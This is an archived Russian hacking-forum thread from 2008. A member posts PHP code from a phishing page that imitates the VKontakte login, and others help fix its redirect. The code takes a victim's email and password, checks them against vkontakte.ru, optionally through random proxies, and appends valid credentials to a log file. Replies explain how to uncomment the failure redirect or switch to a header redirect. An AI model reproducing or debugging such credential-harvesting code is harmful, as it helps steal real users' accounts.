Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |

28.11.2008, 14:15
|
|
Участник форума
Регистрация: 18.04.2007
Сообщений: 210
Провел на форуме: 3284248
Репутация:
404
|
|
[PHP] нужна помощь
Есть фейк, в нём имеются опции: проверка на валидность и использование прокси. Когда отключаешь проверку на валидность, после ввода жертвой пароля нет переадрисации по заданной ссылке. Что нужно изменить? Сам пробовал, но Php я не знаю вообще. Вот кусок кода:
PHP код:
if(isset($_POST['email']) && isset($_POST['pass'])){
$email = trim($_POST['email']);
$pass = $_POST['pass'];
if($valide_check){
$email = str_replace('@', '%40', $email);
$post_data = "success_url=&fail_url=&try_to_login=1&email=$email&pass=$pass";
$post_len = strlen($post_data);
$h = "POST http://vkontakte.ru/login.php HTTP/1.0\r\n";
$h .= "Host: vkontakte.ru\r\n";
if($use_proxy){
$h .= "Connection: Close\r\n";
}
$h .= "Referer: http://vkontakte.ru/login.php\r\n";
$h .= "Content-Type: application/x-www-form-urlencoded\r\n";
$h .= "Content-length: $post_len\r\n";
$h .= "Cookie: remixchk=5; remixlang=0\r\n";
$h .= "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.4) Gecko/2008102920 Firefox/3.0.4\r\n\r\n";
$h .= $post_data."\r\n\r\n";
if(!$use_proxy){
$fp = fsockopen('vkontakte.ru', '80', $errno, $errstr, '55');
} else {
$pr = file($proxy_file);
$proxy_count = count($pr)-1;
$mix = rand('0', $proxy_count);
$proxy = explode(':', $pr[$mix]);
$fp = fsockopen($proxy[0], $proxy[1], $errno, $errstr, '55');
}
if($fp)
{
fwrite($fp, $h);
$outdata = '';
while(!feof($fp)){
if (!$outdata .= fread($fp, '1024')){
$outdata = '';
}
}
fclose($fp);
} else {
echo $errno.'<br/>'.$errstr;
}
if(strstr($outdata, '302 Found') || strstr($outdata, '302 Moved')){
echo '<meta http-equiv="Refresh" content="0; url='.$success_url.'"';
$flog = fopen($file_log, 'a');
if($flog){
fwrite($flog, str_replace('%40', '@', $email).';'.$pass."\r\n");
fclose($flog);
} else {
die('Failed to open file: '.$file_log);
}
} else {
/* echo '<meta http-equiv="Refresh" content="0; url='.$fail_url.'"'; */
?>
Последний раз редактировалось El.DI@BL0; 28.11.2008 в 14:19..
|
|
|

28.11.2008, 14:24
|
|
Участник форума
Регистрация: 03.07.2008
Сообщений: 177
Провел на форуме: 644324
Репутация:
11
|
|
Если есть подобное то все норм
$success_url="юрл на сайт"
$fail_url="юрл на сайт"
|
|
|

28.11.2008, 14:33
|
|
Участник форума
Регистрация: 18.04.2007
Сообщений: 210
Провел на форуме: 3284248
Репутация:
404
|
|
это есть, но не норм
|
|
|

28.11.2008, 14:56
|
|
Участник форума
Регистрация: 03.07.2008
Сообщений: 177
Провел на форуме: 644324
Репутация:
11
|
|
Ну тогда измени echo '<meta http-equiv="Refresh" content="0; url='.$success_url.'"';
На header("Location: $success_url");
|
|
|

28.11.2008, 15:21
|
|
Участник форума
Регистрация: 18.04.2007
Сообщений: 210
Провел на форуме: 3284248
Репутация:
404
|
|
тоже не помогло
|
|
|

28.11.2008, 15:27
|
|
Участник форума
Регистрация: 03.07.2008
Сообщений: 177
Провел на форуме: 644324
Репутация:
11
|
|
Два рефреша заменил на хиадер?
|
|
|

28.11.2008, 17:41
|
|
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
Провел на форуме: 9220514
Репутация:
3338
|
|
/* echo '<meta http-equiv="Refresh" content="0; url='.$fail_url.'"'; */
тут символ /* и */ - начало и конец комментария. Просто удали их, строчка в таком варианте есс-но не работает, ибо закомментированна
|
|
|

28.11.2008, 18:01
|
|
Участник форума
Регистрация: 03.07.2008
Сообщений: 177
Провел на форуме: 644324
Репутация:
11
|
|
Точно))
|
|
|
|
 |
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|